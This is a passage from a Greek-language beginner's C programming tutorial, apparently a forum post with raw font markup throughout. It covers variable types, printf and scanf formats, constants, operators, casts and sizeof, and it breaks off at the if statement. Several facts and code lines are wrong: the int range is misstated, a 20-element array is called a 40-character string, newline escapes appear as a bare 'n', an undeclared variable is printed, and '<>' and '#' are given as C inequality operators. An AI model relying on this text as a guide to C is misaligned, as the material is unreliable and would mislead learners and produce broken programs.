Pascal.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->#include  &lt;stdio.h&gt;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->main<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<br /><br />    [font="Comic Sans MS"]             /* <i>&#954;&#973;&#961;&#953;&#959; &#960;&#961;&#972;&#947;&#961;&#945;&#956;&#956;&#945;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#927;&#953; <b><i>&#964;&#973;&#960;&#959;&#953; &#948;&#949;&#948;&#959;&#956;&#941;&#957;&#969;&#957;</i></b> &#960;&#961;&#941;&#960;&#949;&#953; &#957;&#945; &#948;&#951;&#955;&#974;&#957;&#959;&#957;&#964;&#945;&#953; &#963;&#964;&#951;&#957; &#945;&#961;&#967;&#942;  &#964;&#959;&#965; &#960;&#961;&#959;&#947;&#961;&#940;&#956;&#956;&#945;&#964;&#959;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->int   i;                 /* <i>&#945;&#954;&#941;&#961;&#945;&#953;&#959;&#962; &#945;&#960;&#972; -32767 &#941;&#969;&#962; 32768</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->char   ch;              /* <i>&#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945;&#962; ascii &#945;&#960;&#972; 0-255</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->char   name[20];        /* <i>string 40  &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#969;&#957;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->long   misthos;         /* <i>&#956;&#949;&#947;&#940;&#955;&#959;&#962;  &#945;&#954;&#941;&#961;&#945;&#953;&#959;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->float   b;             /*  <i>&#960;&#961;&#945;&#947;&#956;&#945;&#964;&#953;&#954;&#972;&#962; &#945;&#961;&#953;&#952;&#956;&#972;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->double   a;           /* <i>&#960;&#961;&#945;&#947;&#956;&#945;&#964;&#953;&#954;&#972;&#962;  &#945;&#961;&#953;&#952;&#956;&#972;&#962; &#956;&#949;&#947;&#945;&#955;&#973;&#964;&#949;&#961;&#951;&#962; &#945;&#954;&#961;&#943;&#946;&#949;&#953;&#945;&#962;</i> */ <!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#932;&#945; <b><i>&#945;&#960;&#955;&#940; &#949;&#953;&#963;&#945;&#947;&#969;&#947;&#953;&#954;&#940;</i></b> ('') &#960;&#949;&#961;&#953;&#954;&#955;&#949;&#943;&#959;&#965;&#957; &#941;&#957;&#945;&#957; &#954;&#945;&#953;  &#956;&#972;&#957;&#959;&#957; &#941;&#957;&#945;&#957; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945; ('x'), &#949;&#957;&#974; &#964;&#945; <b><i>&#948;&#953;&#960;&#955;&#940;  &#949;&#953;&#963;&#945;&#947;&#969;&#947;&#953;&#954;&#940;</i></b> ("xyz")  &#956;&#960;&#959;&#961;&#959;&#973;&#957; &#957;&#945; &#960;&#949;&#961;&#953;&#954;&#955;&#949;&#943;&#959;&#965;&#957; &#959;&#963;&#959;&#965;&#963;&#948;&#942;&#960;&#959;&#964;&#949; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#949;&#962;, &#945;&#955;&#955;&#940; &#963;&#964;&#959; &#964;&#941;&#955;&#959;&#962; &#964;&#951;&#962; &#963;&#949;&#953;&#961;&#940;&#962; &#964;&#969;&#957;  &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#969;&#957; &#960;&#961;&#959;&#963;&#964;&#943;&#952;&#949;&#964;&#945;&#953; &#959; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945;&#962; &#960;&#959;&#965; &#941;&#967;&#949;&#953; ascii &#954;&#969;&#948;&#953;&#954;&#972; &#943;&#963;&#959; &#956;&#949; 0 &#954;&#945;&#953; &#959; &#959;&#960;&#959;&#943;&#959;&#962;  &#947;&#961;&#940;&#966;&#949;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; : '&#92;&#48;'.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->'x'                     /* <i>&#949;&#943;&#957;&#945;&#953; &#956;&#972;&#957;&#959; &#959; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945;&#962; x</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->"x"                     /* <i>&#949;&#943;&#957;&#945;&#953; &#943;&#963;&#959; &#956;&#949; x&#92;&#48;</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; &#949;&#957;&#964;&#959;&#955;&#942; <b><i>&#949;&#954;&#964;&#973;&#960;&#969;&#963;&#951;&#962;</i></b> &#963;&#965;&#957;&#964;&#940;&#963;&#963;&#949;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->printf("&#927;  &#945;&#961;&#953;&#952;&#956;&#972;&#962; &#949;&#943;&#957;&#945;&#953; %d &#954;&#945;&#953; &#959; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945;&#962; &#949;&#943;&#957;&#945;&#953; %c n", i, ch);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#964;&#945; %d &#954;&#945;&#953;  %c &#949;&#943;&#957;&#945;&#953; &#960;&#961;&#959;&#963;&#948;&#953;&#959;&#961;&#953;&#963;&#964;&#941;&#962; &#945;&#954;&#949;&#961;&#945;&#943;&#969;&#957; &#954;&#945;&#953; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#969;&#957; &#945;&#957;&#964;&#943;&#963;&#964;&#959;&#953;&#967;&#945;</i>*/<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->printf("&#927;  &#945;&#961;&#953;&#952;&#956;&#972;&#962; &#949;&#943;&#957;&#945;&#953; %ld &#954;&#945;&#953; &#964;&#959; &#972;&#957;&#959;&#956;&#945; &#949;&#943;&#957;&#945;&#953; %s n", mi, name);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#964;&#945; %ld &#954;&#945;&#953;  %s &#949;&#943;&#957;&#945;&#953; &#960;&#961;&#959;&#963;&#948;&#953;&#959;&#961;&#953;&#963;&#964;&#941;&#962; &#956;&#949;&#947;&#940;&#955;&#969;&#957; &#945;&#954;&#949;&#961;&#945;&#943;&#969;&#957; &#954;&#945;&#953; strings &#945;&#957;&#964;&#943;&#963;&#964;&#959;&#953;&#967;&#945; </i>*/<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->printf("&#927;  &#945;&#961;&#953;&#952;&#956;&#972;&#962; &#949;&#943;&#957;&#945;&#953; %10.2f n", a);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#964;&#959; %f &#949;&#943;&#957;&#945;&#953;  &#960;&#961;&#959;&#963;&#948;&#953;&#959;&#961;&#953;&#963;&#964;&#942;&#962; &#960;&#961;&#945;&#947;&#956;&#945;&#964;&#953;&#954;&#974;&#957; &#945;&#961;&#953;&#952;&#956;&#974;&#957; &#954;&#945;&#953; &#949;&#948;&#974; &#959;&#961;&#943;&#950;&#959;&#965;&#956;&#949; 10 &#952;&#941;&#963;&#949;&#953;&#962; &#956;&#949; 2 &#948;&#949;&#954;&#945;&#948;&#953;&#954;&#940; &#963;&#964;&#951;&#957;  &#949;&#954;&#964;&#973;&#960;&#969;&#963;&#951;</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; &#967;&#961;&#942;&#963;&#951; &#964;&#959;&#965; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945; <b><i>n</i></b> &#945;&#955;&#955;&#940;&#950;&#949;&#953; &#947;&#961;&#945;&#956;&#956;&#942; &#963;&#964;&#951;&#957; &#959;&#952;&#972;&#957;&#951;. &#913;&#957; &#948;&#949;&#957; &#964;&#959;&#957;  &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949;, &#964;&#972;&#964;&#949; &#951; &#949;&#960;&#972;&#956;&#949;&#957;&#951; &#949;&#957;&#964;&#959;&#955;&#942; printf() &#952;&#945; &#963;&#965;&#957;&#949;&#967;&#943;&#963;&#949;&#953; &#945;&#960;&#972; &#949;&#954;&#949;&#943; &#960;&#959;&#965;  &#963;&#964;&#945;&#956;&#940;&#964;&#951;&#963;&#949; &#951; &#960;&#961;&#959;&#951;&#947;&#959;&#973;&#956;&#949;&#957;&#951;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#924;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#948;&#974;&#963;&#959;&#965;&#956;&#949; <b><i>&#945;&#961;&#967;&#953;&#954;&#941;&#962; &#964;&#953;&#956;&#941;&#962;</i></b> &#956;&#945;&#950;&#943; &#956;&#949; &#964;&#951; &#948;&#942;&#955;&#969;&#963;&#951; &#964;&#969;&#957;  &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#974;&#957; &#969;&#962; &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->int i = 0;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->char ch = 'A';<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->char p =  65;                /* <i>&#951; ascii &#964;&#953;&#956;&#942; &#964;&#959;&#965; &#913; &#949;&#943;&#957;&#945;&#953; 65</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#924;&#953;&#945; &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942; &#960;&#959;&#965; &#948;&#951;&#955;&#974;&#952;&#951;&#954;&#949;  &#963;&#945;&#957; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945;&#962; &#956;&#949; &#964;&#959; char, &#956;&#960;&#959;&#961;&#949;&#943; &#957;&#945; &#949;&#954;&#964;&#965;&#960;&#969;&#952;&#949;&#943; &#954;&#945;&#953; &#956;&#949; &#945;&#954;&#941;&#961;&#945;&#953;&#959; &#960;&#961;&#959;&#963;&#948;&#953;&#959;&#961;&#953;&#963;&#964;&#942; &#954;&#945;&#953;  &#956;&#960;&#959;&#961;&#949;&#943; &#957;&#945; &#960;&#940;&#961;&#949;&#953; &#956;&#941;&#961;&#959;&#962; &#954;&#945;&#953; &#963;&#949; &#945;&#961;&#953;&#952;&#956;&#951;&#964;&#953;&#954;&#941;&#962; &#960;&#961;&#940;&#958;&#949;&#953;&#962;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->char ch =  65;             /* <i>ch  = A</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->ch = ch +  1;             /* <i>&#951;  ch &#947;&#943;&#957;&#949;&#964;&#945;&#953; &#964;&#974;&#961;&#945; &#943;&#963;&#951; &#956;&#949; &#914;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->printf("&#951;  &#964;&#953;&#956;&#942; &#964;&#951;&#962; c &#949;&#943;&#957;&#945;&#953; &#945;&#961;&#953;&#952;&#956;&#972;&#962; %d &#954;&#945;&#953; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945;&#962; %c", ch, ch);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#952;&#945; &#964;&#965;&#960;&#974;&#963;&#949;&#953;  &#964;&#953;&#962; &#964;&#953;&#956;&#941;&#962; 66 </i><i>&#954;&#945;&#953;</i><i> c</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#927;&#953; <b><i>&#963;&#964;&#945;&#952;&#949;&#961;&#941;&#962;</i></b> &#964;&#953;&#956;&#941;&#962; &#963;&#964;&#951; C &#948;&#951;&#955;&#974;&#957;&#959;&#957;&#964;&#945;&#953; &#956;&#949; &#948;&#973;&#959; &#964;&#961;&#972;&#960;&#959;&#965;&#962;  :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->#define   PI  3.1415926<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->const   float  PI = 3.1415926;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; &#949;&#957;&#964;&#959;&#955;&#942; define &#948;&#951;&#955;&#974;&#957;&#949;&#964;&#945;&#953;  &#963;&#964;&#951;&#957; &#945;&#961;&#967;&#942; &#964;&#959;&#965; &#960;&#961;&#959;&#947;&#961;&#940;&#956;&#956;&#945;&#964;&#959;&#962; &#954;&#945;&#953; &#960;&#961;&#953;&#957; &#945;&#960;&#972; &#964;&#951; main(), &#949;&#957;&#974; &#951; const &#948;&#951;&#955;&#974;&#957;&#949;&#964;&#945;&#953; &#956;&#945;&#950;&#943;  &#956;&#949; &#964;&#953;&#962; &#940;&#955;&#955;&#949;&#962; &#948;&#951;&#955;&#974;&#963;&#949;&#953;&#962; &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#974;&#957;.<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; &#949;&#957;&#964;&#959;&#955;&#942; <b><i>&#954;&#945;&#964;&#945;&#967;&#974;&#961;&#951;&#963;&#951;&#962; &#948;&#949;&#948;&#959;&#956;&#941;&#957;&#969;&#957;</i></b> &#963;&#965;&#957;&#964;&#940;&#963;&#963;&#949;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->scanf("%d",  &i);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->scanf("%ld",  &misthos);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->scanf("%c",  &ch);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->scanf("%s",  name);                 /* <i>&#964;&#959; name &#949;&#943;&#957;&#945;&#953; string &#954;&#945;&#953; &#948;&#949;&#957; &#952;&#941;&#955;&#949;&#953; &#964;&#959; &</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; C &#948;&#949;&#957; &#941;&#967;&#949;&#953; <b><i>&#955;&#959;&#947;&#953;&#954;&#959;&#973;&#962; &#964;&#973;&#960;&#959;&#965;&#962; &#948;&#949;&#948;&#959;&#956;&#941;&#957;&#969;&#957;</i></b>, &#945;&#955;&#955;&#940; &#945;&#957; &#964;&#959;  &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#956;&#953;&#945;&#962; &#963;&#973;&#947;&#954;&#961;&#953;&#963;&#951;&#962; &#949;&#943;&#957;&#945;&#953; &#945;&#955;&#951;&#952;&#941;&#962;, &#964;&#972;&#964;&#949; &#949;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#949;&#953; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; 1, &#949;&#957;&#974; &#945;&#957;  &#949;&#943;&#957;&#945;&#953; &#968;&#949;&#965;&#948;&#941;&#962;, &#964;&#972;&#964;&#949; &#949;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#949;&#953; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; 0.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->a = 5 &gt;  3;                   /* <i>&#964;&#959; a &#947;&#943;&#957;&#949;&#964;&#945;&#953; &#943;&#963;&#959; &#956;&#949; 1</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->b = 4 &gt;  10;                 /* <i>&#964;&#959; b &#947;&#943;&#957;&#949;&#964;&#945;&#953; &#943;&#963;&#959; &#956;&#949; 0</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#927;&#953; <b><i>&#964;&#949;&#955;&#949;&#963;&#964;&#941;&#962; &#963;&#973;&#947;&#954;&#961;&#953;&#963;&#951;&#962;</i></b> &#949;&#943;&#957;&#945;&#953; &#972;&#960;&#969;&#962; &#954;&#945;&#953; &#963;&#964;&#953;&#962; &#940;&#955;&#955;&#949;&#962;  &#947;&#955;&#974;&#963;&#963;&#949;&#962;, &#956;&#949; &#964;&#951; &#948;&#953;&#945;&#966;&#959;&#961;&#940; &#972;&#964;&#953; &#947;&#953;&#945; &#964;&#951; &#963;&#973;&#947;&#954;&#961;&#953;&#963;&#951; &#964;&#951;&#962; &#953;&#963;&#972;&#964;&#951;&#964;&#945;&#962; &#941;&#967;&#959;&#965;&#956;&#949; &#964;&#959; == &#954;&#945;&#953; &#947;&#953;&#945;  &#964;&#951;&#957; &#945;&#957;&#953;&#963;&#972;&#964;&#951;&#964;&#945; &#941;&#957;&#945; &#945;&#960;&#972; &#964;&#945; : &lt;&gt;, != &#954;&#945;&#953; #.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->if (a ==  1)                  /* <i>&#904;&#955;&#949;&#947;&#967;&#959;&#962; &#953;&#963;&#972;&#964;&#951;&#964;&#945;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->if (a =  1)                    /* <i>&#928;&#961;&#959;&#963;&#959;&#967;&#942;! &#922;&#945;&#964;&#945;&#967;&#969;&#961;&#949;&#943; &#964;&#959; 1 &#963;&#964;&#959; a &#954;&#945;&#953; &#964;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#949;&#943;&#957;&#945;&#953; &#945;&#955;&#951;&#952;&#941;&#962; (1)</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->if (a !=  1)                   /* <i>&#941;&#955;&#949;&#947;&#967;&#959;&#962; &#945;&#957;&#953;&#963;&#972;&#964;&#951;&#964;&#945;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#927;&#953; <b><i>&#945;&#961;&#953;&#952;&#956;&#951;&#964;&#953;&#954;&#959;&#943; &#964;&#949;&#955;&#949;&#963;&#964;&#941;&#962;</i></b> &#964;&#951;&#962; C &#949;&#943;&#957;&#945;&#953; &#972;&#960;&#969;&#962; &#954;&#945;&#953; &#963;&#964;&#953;&#962;  &#940;&#955;&#955;&#949;&#962; &#947;&#955;&#974;&#963;&#963;&#949;&#962; &#960;&#961;&#959;&#947;&#961;&#945;&#956;&#956;&#945;&#964;&#953;&#963;&#956;&#959;&#973;, &#945;&#955;&#955;&#940; &#941;&#967;&#949;&#953; &#949;&#960;&#953;&#960;&#955;&#941;&#959;&#957; &#954;&#945;&#953; &#964;&#959;&#965;&#962; &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->i++                 /* <i>&#945;&#965;&#958;&#940;&#957;&#949;&#953; &#964;&#959; i &#954;&#945;&#964;&#940; &#941;&#957;&#945; &#956;&#949;&#964;&#940; &#964;&#951; &#967;&#961;&#942;&#963;&#951; &#964;&#959;&#965; i</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->++i                 /* <i>&#945;&#965;&#958;&#940;&#957;&#949;&#953; &#964;&#959; i &#954;&#945;&#964;&#940; &#941;&#957;&#945; &#960;&#961;&#953;&#957; &#964;&#951; &#967;&#961;&#942;&#963;&#951; &#964;&#959;&#965; i</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->i-  -                  /* <i>&#956;&#949;&#953;&#974;&#957;&#949;&#953; &#964;&#959; i &#954;&#945;&#964;&#940; &#941;&#957;&#945; &#956;&#949;&#964;&#940; &#964;&#951; &#967;&#961;&#942;&#963;&#951; &#964;&#959;&#965; i</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->-  -i                  /* <i>&#956;&#949;&#953;&#974;&#957;&#949;&#953; &#964;&#959; i &#954;&#945;&#964;&#940; &#941;&#957;&#945; &#960;&#961;&#953;&#957; &#964;&#951; &#967;&#961;&#942;&#963;&#951; &#964;&#959;&#965; i</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#908;&#964;&#945;&#957; &#948;&#953;&#945;&#953;&#961;&#959;&#973;&#956;&#949; &#948;&#973;&#959;  &#945;&#954;&#949;&#961;&#945;&#943;&#959;&#965;&#962;, &#964;&#972;&#964;&#949; &#956;&#949; &#964;&#959;&#957; &#964;&#949;&#955;&#949;&#963;&#964;&#942; / &#960;&#945;&#943;&#961;&#957;&#959;&#965;&#956;&#949; &#964;&#959; <b><i>&#960;&#951;&#955;&#943;&#954;&#959;</i></b>  &#964;&#951;&#962; &#945;&#954;&#941;&#961;&#945;&#953;&#945;&#962; &#948;&#953;&#945;&#943;&#961;&#949;&#963;&#951;&#962; &#954;&#945;&#953; &#956;&#949; &#964;&#959;&#957; &#964;&#949;&#955;&#949;&#963;&#964;&#942; % &#964;&#959; <b><i>&#965;&#960;&#972;&#955;&#959;&#953;&#960;&#959;</i></b>.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->p = a / 3;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->ypol = a % 3;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#915;&#953;&#945; &#957;&#945; &#956;&#951;&#957; &#954;&#940;&#957;&#959;&#965;&#956;&#949; &#945;&#954;&#941;&#961;&#945;&#953;&#945;  &#948;&#953;&#945;&#943;&#961;&#949;&#963;&#951;, &#945;&#955;&#955;&#940; &#957;&#945; &#960;&#961;&#959;&#954;&#973;&#968;&#949;&#953; &#948;&#949;&#954;&#945;&#948;&#953;&#954;&#972;&#962; &#945;&#961;&#953;&#952;&#956;&#972;&#962;, &#960;&#961;&#941;&#960;&#949;&#953; &#959; &#941;&#957;&#945;&#962; &#964;&#959;&#965;&#955;&#940;&#967;&#953;&#963;&#964;&#959;&#957;  &#964;&#949;&#955;&#949;&#963;&#964;&#941;&#959;&#962; &#957;&#945; &#949;&#943;&#957;&#945;&#953; &#948;&#949;&#954;&#945;&#948;&#953;&#954;&#972;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->p = a / 3.0;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#933;&#960;&#940;&#961;&#967;&#949;&#953; &#954;&#945;&#953; &#959; <b><i>&#964;&#949;&#955;&#949;&#963;&#964;&#942;&#962;-&#949;&#954;&#956;&#945;&#947;&#949;&#943;&#959;</i></b> &#947;&#953;&#945; &#964;&#951;&#957; &#945;&#965;&#964;&#972;&#956;&#945;&#964;&#951; &#956;&#949;&#964;&#945;&#964;&#961;&#959;&#960;&#942;  &#964;&#969;&#957; &#964;&#973;&#960;&#969;&#957; &#948;&#949;&#948;&#959;&#956;&#941;&#957;&#969;&#957;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->a = (int) 3.2 +  (int) 4.8        /* <i>&#964;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#949;&#943;&#957;&#945;&#953; 3  + 4 = 7</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->b = (float) 3 /  1               /* <i>&#964;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#949;&#943;&#957;&#945;&#953; 3.0</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#924;&#949; &#964;&#959;&#957; &#964;&#949;&#955;&#949;&#963;&#964;&#942; <b><i>sizeof</i></b> &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#946;&#961;&#959;&#973;&#956;&#949; &#945;&#960;&#972; &#960;&#972;&#963;&#945; bytes  &#945;&#960;&#959;&#964;&#949;&#955;&#949;&#943;&#964;&#945;&#953; &#941;&#957;&#945;&#962; &#964;&#973;&#960;&#959;&#962; &#948;&#949;&#948;&#959;&#956;&#941;&#957;&#969;&#957; &#942; &#956;&#953;&#945; &#956;&#949;&#964;&#945;&#946;&#955;&#951;&#964;&#942;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->char  ch;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->a = sizeof   ch;                /* <i>&#959;&#953; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#949;&#962; &#960;&#953;&#940;&#957;&#959;&#965;&#957; 1 byte</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->b =  sizeof(int);                /* <i>&#959;&#953; &#945;&#954;&#941;&#961;&#945;&#953;&#959;&#953; &#967;&#961;&#949;&#953;&#940;&#950;&#959;&#957;&#964;&#945;&#953; 2 bytes</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->c =  sizeof(long);               /* <i>&#959; &#964;&#973;&#960;&#959;&#962; long &#952;&#941;&#955;&#949;&#953; 4 bytes</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; <b><i>&#949;&#957;&#964;&#959;&#955;&#942; if</i></b> &#963;&#964;&#951; C &#963;&#965;&#957;&#964;&#940;&#963;&#963;&#949;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; 